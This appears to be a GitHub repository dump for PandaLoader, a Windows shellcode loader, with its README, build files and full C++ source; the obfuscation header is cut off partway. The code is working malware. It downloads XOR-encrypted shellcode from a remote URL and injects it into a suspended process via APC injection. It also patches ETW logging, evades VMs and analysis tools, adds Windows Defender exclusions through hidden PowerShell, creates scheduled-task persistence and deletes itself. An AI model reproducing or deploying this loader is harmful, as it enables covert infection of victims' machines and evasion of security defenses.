├── assets ├── detections.jpg └── PandaLoader.png ├── PandaBuilder.cmd ├── CMakeLists.txt ├── LICENSE ├── README.md ├── PandaLoader.cpp └── obfusheader.h /assets/detections.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chainski/PandaLoader/HEAD/assets/detections.jpg -------------------------------------------------------------------------------- /PandaBuilder.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | :: https://github.com/Chainski/PandaLoader 3 | builder.py 4 | pause 5 | -------------------------------------------------------------------------------- /assets/PandaLoader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chainski/PandaLoader/HEAD/assets/PandaLoader.png -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.8) 2 | project(PandaLoader) 3 | set(CMAKE_CXX_STANDARD 17) 4 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 5 | set(BUILD_SHARED_LIBS OFF) 6 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++17 -masm=intel -w -Os -static -mwindows -s") 7 | set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--gc-sections") 8 | set(SOURCE_FILES 9 | PandaLoader.cpp 10 | ) 11 | include_directories(${CMAKE_SOURCE_DIR}) 12 | add_executable(PandaLoader ${SOURCE_FILES}) 13 | target_link_libraries(PandaLoader wininet psapi) 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 CHA1NSK1 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 |
5 | 6 | Top Language 7 | 8 | Forks 9 | 10 | Issues 11 | 12 | Commit Activity 13 |
14 | 15 | 16 | Contributors 17 | 18 |
19 | 20 |

PandaLoader

21 | 22 | PandaLoader is a WIP shellcode loader designed to evade detection by using various anti-analysis techniques and features such as virtual machine (VM) detection, process injection, and payload decryption. 23 | 24 | # Features 25 | ``` 26 | [~] Add Windows Defender Exclusions [admin required] 27 | [~] Persistence [optional] 28 | [~] Junk code 29 | [~] Randomized Sleep delays [optional] 30 | [~] Mutex : Only a single instance of PandaLoader will be running at any given time 31 | [~] Anti-VM Techniques: Ensures that the loader doesn't execute in a virtualized environment, which is commonly used for malware analysis. 32 | [~] Obfuscation: Uses compile-time string obfuscation to hinder static analysis. 33 | [~] XOR Encryption with Dynamic Key Generation: Protects the shellcode from being easily detected by antivirus tools. 34 | [~] APC Injection: A stealthy method to execute code in the context of another process. 35 | [~] ETW Patching: Prevents certain Windows logging mechanisms from being used to detect the malware's activities. 36 | [~] Self-Dectruct [optional] 37 | ``` 38 | 39 | # How It Works 40 | 41 | #### Anti-VM Checks (IF ENABLED IN BUILDER) 42 | Before loading the shellcode, PandaLoader performs extensive anti-VM checks to determine if it's running in a virtualized environment. This includes: 43 | - Process Scanning: It checks for the presence of specific processes associated with VM environments (e.g., `vboxmouse.sys`, `vmwareuser.exe`). 44 | File and Directory Scanning: It searches for files and directories related to `VM tools`, such as `VirtualBox` or `VMware`. 45 | Machine Process Count: It checks if the number of running processes is below 100, which could indicate a `VM` or sandbox environment. 46 | ETW (Event Tracing for Windows) Patch: It patches functions related to `ETW` to prevent the logging of events, which could be used for analysis. 47 | If any `VM` indicators are detected, the loader will terminate. 48 | - Payload Retrieval : 49 | The shellcode is downloaded from a remote `URL` specified in the `SHELLCODE_URL` when using the builder. 50 | It uses the WinINet API to download the payload into a `std::vector` buffer. 51 | - Payload Decryption : 52 | The decryption key is specified by the `XOR_DECRYPTION_KEY` which is the one generated using the builder. 53 | The decryption is performed by the `XORDecrypt()` function, which iterates through the payload and `XORs` each byte with the corresponding byte in the key. 54 | - Process Injection : 55 | PandaLoader creates a suspended process, defaults to (`wmiprvse.exe` in this case) using `CreateProcessA`. 56 | It then allocates memory in the target process using `VirtualAllocEx`, with `MEM_COMMIT` and `MEM_RESERVE` flags, making the allocated memory readable, writable, and executable (`PAGE_EXECUTE_READWRITE`). 57 | The decrypted shellcode is written into the allocated memory using `WriteProcessMemory`. 58 | After writing the shellcode, the memory permissions are adjusted to `PAGE_EXECUTE_READ` using `VirtualProtect` to reduce the chances of detection by security software. 59 | - Shellcode Execution : 60 | The shellcode is executed by queuing it as an `APC` (Asynchronous Procedure Call) to the suspended process thread using `QueueUserAPC`. 61 | The thread is then resumed using `ResumeThread`, which causes the shellcode to be executed in the context of the target process. 62 | - Persistence and Cleanup : 63 | If persistence is enabled `ENABLE_STARTUP`, the loader copies itself to a specific directory and creates a scheduled task to run on startup. 64 | If the `MELT` option is enabled, the loader deletes itself after successful execution to reduce the footprint on the victim machine. 65 | 66 | # PandaLoader Builder Usage Guide 67 | The PandaLoader Builder is a tool designed to help you create a custom payload loader by performing several steps, including shellcode encryption and remote hosting. 68 | - Open `PandaBuilder.cmd` 69 | - Input Shellcode: Start by providing your raw shellcode as input to the Builder. `eg: loader.bin` 70 | - Enter the injection target `(e.g., C:\\Windows\\System32\\svchost.exe)` 71 | - Your dynamic XOR key will be generated. 72 | - Shellcode Encryption: The Builder will encrypt your shellcode using `XOR` encryption. This step is essential for obfuscating the payload, to bypass `AV/EDR` etc. 73 | - Upload Encrypted Shellcode: After encryption, you will be prompted to upload the encrypted shellcode to a remote server. 74 | - Provide Download Link: Once the shellcode is uploaded, the Builder will ask for the `download link` to the shellcode. This link is necessary for the next step. 75 | - Building the Loader: Using the provided download link, the Builder will compile a custom C++ stub (the loader). This loader is designed to download and execute the encrypted shellcode from the remote server. 76 | - Compile the Loader: The final step is compiling the loader using `Mingw-w64`, a cross-compiler for Windows. Ensure that `Mingw-w64` is installed on your system before running the Builder. 77 | - **NOTE: If startup is selected the Builder will generate an uninstaller for you to remove the Loader.** 78 | 79 | # Requirements: 80 | - Operating System: Any x64 Windows system. 81 | - Compiler: Mingw-w64 must be installed. 82 | 83 | # Downloads 84 | [MinGW builds](https://github.com/brechtsanders/winlibs_mingw/releases) 85 | 86 | # Detections 87 | > [!TIP] 88 | > Please avoid raising issues related to detections, as it is not productive. The goal of this project is to support teaching and learning. 89 | This project is fully undetectable (FUD) on its release day (August 2024). However, a free, publicly available, and open-source loader will not stay undetected for long. 90 | Modifying the stub to avoid detection is challenging, and any progress made will likely be rendered useless due to constant AV signature updates within a few days. 91 | Therefore, no updates will be provided to address detection issues, however PandaLoader offers a fully functional implementation that is easy to modify and extend. 92 | 93 | # Contributing 94 | 95 | Contributions are welcome, You can be a small part of this project! 96 | 97 | # References 98 | - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101 99 | - https://learn.microsoft.com/en-us/powershell/module/scheduledtasks/register-scheduledtask?view=windowsserver2022-ps 100 | - https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 101 | - https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa 102 | 103 | # Credits 104 | - https://github.com/TheWover/donut `converts NATIVE and .NET payloads into raw shellcode` 105 | - https://github.com/ac3ss0r/obfusheader.h `compile-time obfuscation` 106 | - https://github.com/EvilBytecode/GoDefender `Anti-VM techniques` 107 | - https://github.com/7etsuo/windows-api-function-cheatsheets `injection methods` 108 | - https://github.com/mustjoon/evade-stager-c/tree/main `staged loader method` 109 | 110 | # License 111 | This project is licensed under the MIT License - see the [LICENSE](https://github.com/Chainski/PandaLoader/blob/main/LICENSE) file for details 112 | 113 | 114 | # Disclaimer 115 | Important Notice: This tool is intended for educational purposes only. 116 | This software, referred to as PandaLoader, is provided strictly for educational and research purposes. 117 | Under no circumstances should this tool be used for any malicious activities, including but not limited to unauthorized access, data theft, or any other harmful actions. 118 | 119 | Usage Responsibility: 120 | By accessing and using this tool, you acknowledge that you are solely responsible for your actions. 121 | Any misuse of this software is strictly prohibited, and the creator (Chainski) disclaims any responsibility for how this tool is utilized. 122 | You are fully accountable for ensuring that your usage complies with all applicable laws and regulations in your jurisdiction. 123 | 124 | No Liability: 125 | The creator (Chainski) of this tool shall not be held responsible for any damages or legal consequences resulting from the use or misuse of this software. 126 | This includes, but is not limited to, direct, indirect, incidental, consequential, or punitive damages arising out of your access, use, or inability to use the tool. 127 | 128 | No Support: 129 | The creator (Chainski) will not provide any support, guidance, or assistance related to the misuse of this tool. Any inquiries regarding malicious activities will be ignored. 130 | 131 | Acceptance of Terms: 132 | By using this tool, you signify your acceptance of this disclaimer. If you do not agree with the terms stated in this disclaimer, do not use the software. 133 | 134 | -------------------------------------------------------------------------------- /PandaLoader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "obfusheader.h" 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #pragma comment(lib, "wininet.lib") 15 | #define ENABLE_ADMIN 0 // Mandatory when adding persistence and WD exclusions 16 | #define ADD_EXCLUSION 0 // Optional (Add Windows Defender Exclusions) 17 | #define MELT 0 // Deletes the payload after injection 18 | #define ENABLE_STARTUP 0 // Persist on the machine after reboot 19 | #define SLEEP_DELAY 0 // randomized sleep delays 20 | #define ENABLE_ANTIVM 0 // evade virtualized environments 21 | #define STARTUP_ENTRYNAME OBF("PERSISTENCE_REPLACE_ME") 22 | #define DIRECTORY_NAME OBF("DIRECTORY_REPLACE_ME") 23 | #define FILENAME OBF("FILENAME_REPLACE_ME") 24 | #define HIDE_DIRECTORY 0 // Optional 25 | #define XOR_DECRYPTION_KEY OBF("XOR_KEY_REPLACE_ME") // The decryption key for your shellcode 26 | #define SHELLCODE_URL OBF(L"SHELLCODE_URL_REPLACE_ME") // Replace SHELLCODE_URL_REPLACE_ME with your shellcode link 27 | #define SINGLE_INSTANCE 1 // MUTEX 28 | 29 | 30 | /* 31 | This file is part of PandaLoader. (https://github.com/Chainski/PandaLoader) 32 | Copyright (c) 2024 CHA1NSK1 33 | 34 | Permission is hereby granted, free of charge, to any person obtaining a copy 35 | of this software and associated documentation files (the "Software"), to deal 36 | in the Software without restriction, including without limitation the rights 37 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 38 | copies of the Software, and to permit persons to whom the Software is 39 | furnished to do so, subject to the following conditions: 40 | 41 | The above copyright notice and this permission notice shall be included in all 42 | copies or substantial portions of the Software. 43 | 44 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 45 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 46 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 47 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 48 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 49 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 50 | SOFTWARE. 51 | */ 52 | 53 | 54 | typedef BOOL(WINAPI* WriteProcessMemoryFunc)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); 55 | WriteProcessMemoryFunc pwProcmem = (WriteProcessMemoryFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("WriteProcessMemory")); 56 | typedef BOOL(WINAPI* QueueUserAPCFunc)(PAPCFUNC, HANDLE, ULONG_PTR); 57 | QueueUserAPCFunc pwQueueUserAPC = (QueueUserAPCFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("QueueUserAPC")); 58 | typedef BOOL(WINAPI* CreateProcessAFunc)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); 59 | CreateProcessAFunc pwCreateProcess = (CreateProcessAFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("CreateProcessA")); 60 | typedef LPVOID(WINAPI* VirtualAllocExFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); 61 | VirtualAllocExFunc pwVirtualAllocEx = (VirtualAllocExFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("VirtualAllocEx")); 62 | typedef BOOL(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD); 63 | VirtualProtectFunc pwVirtualProtect = (VirtualProtectFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("VirtualProtect")); 64 | typedef BOOL(WINAPI* VirtualAllocExNumaFunc)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD, DWORD); 65 | VirtualAllocExNumaFunc pwVirtualAllocExNuma = (VirtualAllocExNumaFunc)GetProcAddress(GetModuleHandleA(OBF("kernel32.dll")), OBF("VirtualAllocExNuma")); 66 | 67 | 68 | void junk_code() { 69 | volatile unsigned long long j = 0xDEADBEEFDEADBEEFULL; 70 | for (int i = 0; i < 291; ++i) { 71 | j ^= 0xABCDEF1234567890ULL; 72 | j = (j << 1) | (j >> 63); 73 | j += 0x1111111111111111ULL; 74 | } 75 | } 76 | 77 | BOOL ETWPATCH() { 78 | DWORD oldprotect = 0; 79 | const char* functions[] = { OBF("EtwEventWrite"), OBF("EtwEventWriteFull"), OBF("EtwEventWriteTransfer"), OBF("EtwRegister")}; 80 | for (int i = 0; i < (sizeof(functions) / sizeof(functions[0])); i++) { 81 | void* pFunc = (void*)GetProcAddress(GetModuleHandleA(OBF("ntdll.dll")), functions[i]); 82 | if (!pFunc) continue; 83 | if (!VirtualProtect(pFunc, 4096, PAGE_EXECUTE_READWRITE, &oldprotect)) return FALSE; 84 | #ifdef _WIN64 85 | memcpy(pFunc, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret 86 | #else 87 | memcpy(pFunc, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 88 | #endif 89 | VirtualProtect(pFunc, 4096, oldprotect, &oldprotect); 90 | FlushInstructionCache(GetCurrentProcess(), pFunc, 4096); 91 | } 92 | return TRUE; 93 | } 94 | 95 | BOOL FileExists(const std::wstring& filePath) { 96 | WIN32_FIND_DATAW findFileData; 97 | HANDLE hFind = FindFirstFileW(filePath.c_str(), &findFileData); 98 | if (hFind == INVALID_HANDLE_VALUE) { 99 | return false; 100 | } 101 | FindClose(hFind); 102 | return true; 103 | } 104 | 105 | BOOL DirectoryExists(const std::wstring& dirPath) { 106 | DWORD fileAttrib = GetFileAttributesW(dirPath.c_str()); 107 | return (fileAttrib != INVALID_FILE_ATTRIBUTES && (fileAttrib & FILE_ATTRIBUTE_DIRECTORY)); 108 | } 109 | 110 | BOOL AntiVM() { 111 | DWORD adwProcesses[1024], dwReturnLen = 0; 112 | if (EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen)) { 113 | DWORD dwNmbrOfPids = dwReturnLen / sizeof(DWORD); 114 | if (dwNmbrOfPids < 104) { 115 | return TRUE; 116 | } 117 | } 118 | std::wstring systemRoot(MAX_PATH, L'\0'); 119 | if (GetEnvironmentVariableW(OBF(L"SystemRoot"), &systemRoot[0], MAX_PATH)) { 120 | systemRoot.resize(wcslen(systemRoot.c_str())); 121 | std::vector badFiles = { 122 | OBF(L"\\drivers\\vmmouse.sys"), 123 | OBF(L"\\drivers\\vmhgfs.sys"), 124 | OBF(L"\\drivers\\VBoxMouse.sys"), 125 | OBF(L"\\drivers\\VBoxGuest.sys"), 126 | OBF(L"\\drivers\\VBoxSF.sys"), 127 | OBF(L"\\drivers\\VBoxVideo.sys"), 128 | OBF(L"\\drivers\\prlfs.sys"), 129 | OBF(L"\\drivers\\balloon.sys"), 130 | OBF(L"\\drivers\\netkvm.sys"), 131 | OBF(L"\\drivers\\viofs.sys"), 132 | OBF(L"\\drivers\\vioser.sys"), 133 | OBF(L"\\vboxdisp.dll"), 134 | OBF(L"\\vboxhook.dll"), 135 | OBF(L"\\vboxmrxnp.dll"), 136 | OBF(L"\\vboxogl.dll"), 137 | OBF(L"\\vboxoglarrayspu.dll"), 138 | OBF(L"\\vboxoglcrutil.dll"), 139 | OBF(L"\\vboxoglerrorspu.dll"), 140 | OBF(L"\\vboxoglfeedbackspu.dll") 141 | }; 142 | for (const auto& file : badFiles) { 143 | if (FileExists(systemRoot + OBF(L"\\System32") + file)) { 144 | return TRUE; 145 | } 146 | } 147 | } 148 | std::vector badDirs = { 149 | OBF(L"C:\\Program Files\\VMware"), 150 | OBF(L"C:\\Program Files\\Oracle\\VirtualBox Guest Additions") 151 | }; 152 | for (const auto& dir : badDirs) { 153 | if (DirectoryExists(dir)) { 154 | return TRUE; 155 | } 156 | } 157 | MEMORYSTATUSEX RAMStatus = { sizeof(RAMStatus) }; 158 | GlobalMemoryStatusEx(&RAMStatus); 159 | if ((RAMStatus.ullTotalPhys / (1024ULL * 1024ULL)) < 6048) { 160 | return TRUE; 161 | } 162 | std::vector badProcesses = { 163 | OBF(L"autorunsc.exe"), 164 | OBF(L"binaryninja.exe"), 165 | OBF(L"dumpcap.exe"), 166 | OBF(L"die.exe"), 167 | OBF(L"fakenet.exe"), 168 | OBF(L"joeboxserver.exe"), 169 | OBF(L"processhacker.exe"), 170 | OBF(L"procexp.exe"), 171 | OBF(L"qga.exe"), 172 | OBF(L"qemu-ga"), 173 | OBF(L"sandman.exe"), 174 | OBF(L"sysmon.exe"), 175 | OBF(L"tcpdump.exe"), 176 | OBF(L"sniff_hit.exe"), 177 | OBF(L"vboxcontrol.exe"), 178 | OBF(L"vboxservice.exe"), 179 | OBF(L"vboxtray.exe"), 180 | OBF(L"vt-windows-event-stream.exe"), 181 | OBF(L"vmsrvc.exe"), 182 | OBF(L"vmwaretray.exe"), 183 | OBF(L"vmwareuser.exe"), 184 | OBF(L"wireshark.exe"), 185 | OBF(L"windbg.exe"), 186 | OBF(L"xenservice.exe") 187 | }; 188 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 189 | if (hSnapshot != INVALID_HANDLE_VALUE) { 190 | PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) }; 191 | if (Process32FirstW(hSnapshot, &pe32)) { 192 | do { 193 | for (const auto& proc : badProcesses) { 194 | if (_wcsicmp(pe32.szExeFile, proc.c_str()) == 0) { 195 | CloseHandle(hSnapshot); 196 | return TRUE; 197 | } 198 | } 199 | } while (Process32NextW(hSnapshot, &pe32)); 200 | } 201 | CloseHandle(hSnapshot); 202 | } 203 | return FALSE; // No VM indicators found 204 | } 205 | 206 | 207 | void payloadurl(LPCWSTR szUrl, std::vector& payload) { 208 | HINTERNET hInternet = InternetOpenW(OBF(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 209 | HINTERNET hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, 0); 210 | BYTE buffer[4096]; 211 | DWORD bytesRead; 212 | while (InternetReadFile(hInternetFile, buffer, sizeof(buffer), &bytesRead) && bytesRead) { 213 | payload.insert(payload.end(), buffer, buffer + bytesRead); 214 | } 215 | InternetCloseHandle(hInternetFile); 216 | InternetCloseHandle(hInternet); 217 | } 218 | 219 | BOOL admincheck() { 220 | BOOL isAdmin = FALSE; 221 | PSID administratorsGroup = NULL; 222 | SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; 223 | if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &administratorsGroup)) { 224 | CheckTokenMembership(NULL, administratorsGroup, &isAdmin); 225 | FreeSid(administratorsGroup); 226 | } 227 | return isAdmin == TRUE; 228 | } 229 | 230 | std::string get_executable_path() { 231 | char buffer[MAX_PATH]; 232 | GetModuleFileNameA(NULL, buffer, MAX_PATH); 233 | return std::string(buffer); 234 | } 235 | 236 | BOOL existence(const std::string& directoryName) { 237 | std::string current_path = get_executable_path(); 238 | std::string::size_type pos = current_path.find(directoryName); 239 | return (pos != std::string::npos); 240 | } 241 | 242 | void delete_current_executable() { 243 | std::string current_path = get_executable_path(); 244 | std::string command = std::string(OBF("/C choice /C Y /N /D Y /T 3 & Del \"")) + current_path + OBF("\""); 245 | ShellExecuteA(NULL, OBF("open"), OBF("cmd.exe"), command.c_str(), NULL, SW_HIDE); 246 | } 247 | 248 | std::string get_environment_variable(const std::string& varName) { 249 | char buffer[MAX_PATH]; 250 | DWORD length = GetEnvironmentVariableA(varName.c_str(), buffer, MAX_PATH); 251 | if (length == 0 || length >= MAX_PATH) { 252 | return ""; 253 | } 254 | return std::string(buffer); 255 | } 256 | 257 | void hidden(const std::string& directoryPath) { 258 | WIN32_FIND_DATAA findFileData; 259 | HANDLE hFind = FindFirstFileA((directoryPath + "\\*").c_str(), &findFileData); 260 | if (hFind == INVALID_HANDLE_VALUE) { 261 | return; 262 | } 263 | do { 264 | std::string fileName = findFileData.cFileName; 265 | if (fileName != "." && fileName != "..") { 266 | std::string fullPath = directoryPath + "\\" + fileName; 267 | SetFileAttributesA(fullPath.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); 268 | if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { 269 | hidden(fullPath); 270 | } 271 | } 272 | } while (FindNextFileA(hFind, &findFileData) != 0); 273 | FindClose(hFind); 274 | } 275 | 276 | 277 | BOOL persistence(const std::string& taskName, const std::string& executablePath) { 278 | std::wstring longPath = std::wstring(executablePath.begin(), executablePath.end()); 279 | std::string command = std::string(OBF("Register-ScheduledTask -TaskName \"")) + taskName + 280 | std::string(OBF("\" -Trigger (New-ScheduledTaskTrigger -AtLogon) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -RunOnlyIfNetworkAvailable -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -Action (New-ScheduledTaskAction -Execute '")) + 281 | std::string(longPath.begin(), longPath.end()) + std::string(OBF("') -Force -RunLevel Highest")); 282 | HINSTANCE hInst = ShellExecuteA(NULL, OBF("open"), OBF("powershell.exe"), command.c_str(), NULL, SW_HIDE); 283 | return 0; 284 | } 285 | 286 | void persist_folder() { 287 | std::string systemDrive = get_environment_variable(OBF("SystemDrive")); 288 | std::string programData = get_environment_variable(OBF("ProgramData")); 289 | std::string destDir = systemDrive + OBF("\\ProgramData\\") + DIRECTORY_NAME; 290 | std::string fullFilename = std::string(FILENAME) + OBF(".exe"); 291 | std::string destPath = destDir + "\\" + fullFilename; 292 | std::string exePath = get_executable_path(); 293 | if (!CreateDirectoryA(destDir.c_str(), NULL) && GetLastError() != ERROR_ALREADY_EXISTS) { 294 | return; 295 | } 296 | DeleteFileA(destPath.c_str()); 297 | if (!CopyFileA(exePath.c_str(), destPath.c_str(), FALSE)) { 298 | return; 299 | } 300 | if (HIDE_DIRECTORY) { 301 | SetFileAttributesA(destDir.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); 302 | hidden(destDir); 303 | } 304 | persistence(STARTUP_ENTRYNAME, destPath); 305 | } 306 | 307 | void XORDecrypt(std::vector& data, const std::string& key) { 308 | size_t keyLength = key.size(); 309 | for (size_t i = 0; i < data.size(); ++i) { 310 | data[i] ^= key[i % keyLength]; 311 | } 312 | } 313 | 314 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ 315 | std::string exePath = get_executable_path(); 316 | junk_code(); 317 | std::wstring exePathW = std::wstring(exePath.begin(), exePath.end()); 318 | ETWPATCH(); 319 | if (ENABLE_ADMIN && !admincheck()) { 320 | LPCWSTR powershellPath = OBF(L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"); 321 | WCHAR cmdLine[MAX_PATH]; 322 | #ifdef __MINGW32__ 323 | // Use %S for MinGW, which expects a char* (narrow string) and handles it as wide. 324 | swprintf(cmdLine, MAX_PATH, OBF(L"Start-Process -FilePath '\"%S\"' -Verb runAs"), exePathW.data()); 325 | #else 326 | // Use %s for Visual Studio, which expects a wchar_t* (wide string). 327 | swprintf(cmdLine, MAX_PATH, OBF(L"Start-Process -FilePath '\"%s\"' -Verb runAs"), exePathW.data()); 328 | #endif 329 | ShellExecuteW(NULL, OBF(L"runas"), powershellPath, cmdLine, NULL, SW_HIDE); 330 | return 0; 331 | } 332 | if (SINGLE_INSTANCE) { 333 | HANDLE hMutex = CreateMutex(NULL, TRUE, OBF("PANDALOADER")); 334 | if (GetLastError() == ERROR_ALREADY_EXISTS) { 335 | CloseHandle(hMutex); 336 | return 0; 337 | } 338 | } 339 | #if ENABLE_ANTIVM 340 | if (AntiVM()) { 341 | ExitProcess(1); 342 | } 343 | #else 344 | printf(OBF("AntiVM check is disabled.\n")); 345 | #endif 346 | if (SLEEP_DELAY) { 347 | static bool __s = false; 348 | if (!__s) { 349 | std::srand(static_cast(std::time(nullptr))); 350 | __s = true; 351 | } 352 | const int __v[] = {10, 12, 14, 16}; 353 | int __i = std::rand() % 4; 354 | int __k = __v[__i]; 355 | std::time_t __t0 = std::time(nullptr); 356 | volatile unsigned long long __r = 123456789ULL; 357 | while ((std::time(nullptr) - __t0) < __k) { 358 | for (unsigned int __j = 0u; __j < 500000u; ++__j) { 359 | __r ^= static_cast(__j + 2718281u); 360 | } 361 | } 362 | (void)__r; 363 | } 364 | #if ENABLE_ADMIN 365 | if (ADD_EXCLUSION) { 366 | ShellExecute(NULL, OBF("open"), OBF("powershell"), OBF("Add-MpPreference -ExclusionPath @($env:userprofile, $env:programdata) -Force"), NULL, SW_HIDE); 367 | } 368 | if (ENABLE_STARTUP && !existence(DIRECTORY_NAME)) { 369 | persist_folder(); 370 | } 371 | #endif 372 | std::vector payload; 373 | LPCWSTR url = SHELLCODE_URL; 374 | payloadurl(url, payload); 375 | junk_code(); 376 | std::string key = XOR_DECRYPTION_KEY; 377 | XORDecrypt(payload, key); 378 | STARTUPINFOA si = { 0 }; 379 | PROCESS_INFORMATION pi = { 0 }; 380 | pwCreateProcess(OBF("INJECTION_TARGET"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &si, &pi); 381 | HANDLE victimProcess = pi.hProcess; 382 | HANDLE threadHandle = pi.hThread; 383 | LPVOID shellAddress = pwVirtualAllocEx(victimProcess, NULL, payload.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 384 | PVOID pBaseAddress = nullptr; 385 | SIZE_T* bytesWritten = 0; 386 | pwProcmem(victimProcess, shellAddress, payload.data(), payload.size(), bytesWritten); 387 | pwVirtualProtect(shellAddress, payload.size(), PAGE_EXECUTE_READ, NULL); 388 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; 389 | pwQueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); 390 | ResumeThread(threadHandle); 391 | if (MELT && !existence(DIRECTORY_NAME)) { 392 | delete_current_executable(); 393 | } 394 | return 0; 395 | 396 | } -------------------------------------------------------------------------------- /obfusheader.h: -------------------------------------------------------------------------------- 1 | #ifndef OBFUSHEADER_H 2 | #define OBFUSHEADER_H 3 | 4 | // TODO: find a better way to do this 5 | #define true 1 6 | #define false 0 7 | 8 | // Obfusheader settings 9 | 10 | // Possible values - THREADLOCAL, NORMAL 11 | // Threadlocal encryption stores the data inside threadlocal space. This can sometimes prevent the compiler from optimizing it away + makes it harder to extract the data 12 | // Normal encryption mode is more performant and stable but a bit less secure 13 | #define ENCRYPT_MODE THREADLOCAL 14 | 15 | // Possible values - STATIC, DYNAMIC 16 | // Static call hider stores the function pointers inside a static storager (.data section basically) which is very optimized 17 | // Dynamic call hider inits function pointer arrays in runtime 18 | #define CALL_HIDE_MODE STATIC 19 | 20 | // Possible values - true/false 21 | // Force inline is recommended for better performance and makes it a lot harder to reverse-engineer 22 | #define FORCE_INLINE true 23 | 24 | // Possible values true/false 25 | // Control flow affect the performance in a negative way (but not very much) 26 | // It creates garbage flow branches to made the decryption hidden among them 27 | #define CONTROL_FLOW true 28 | 29 | // Without forceinline the compiler will mostly ignore inline methods 30 | #if FORCE_INLINE == true 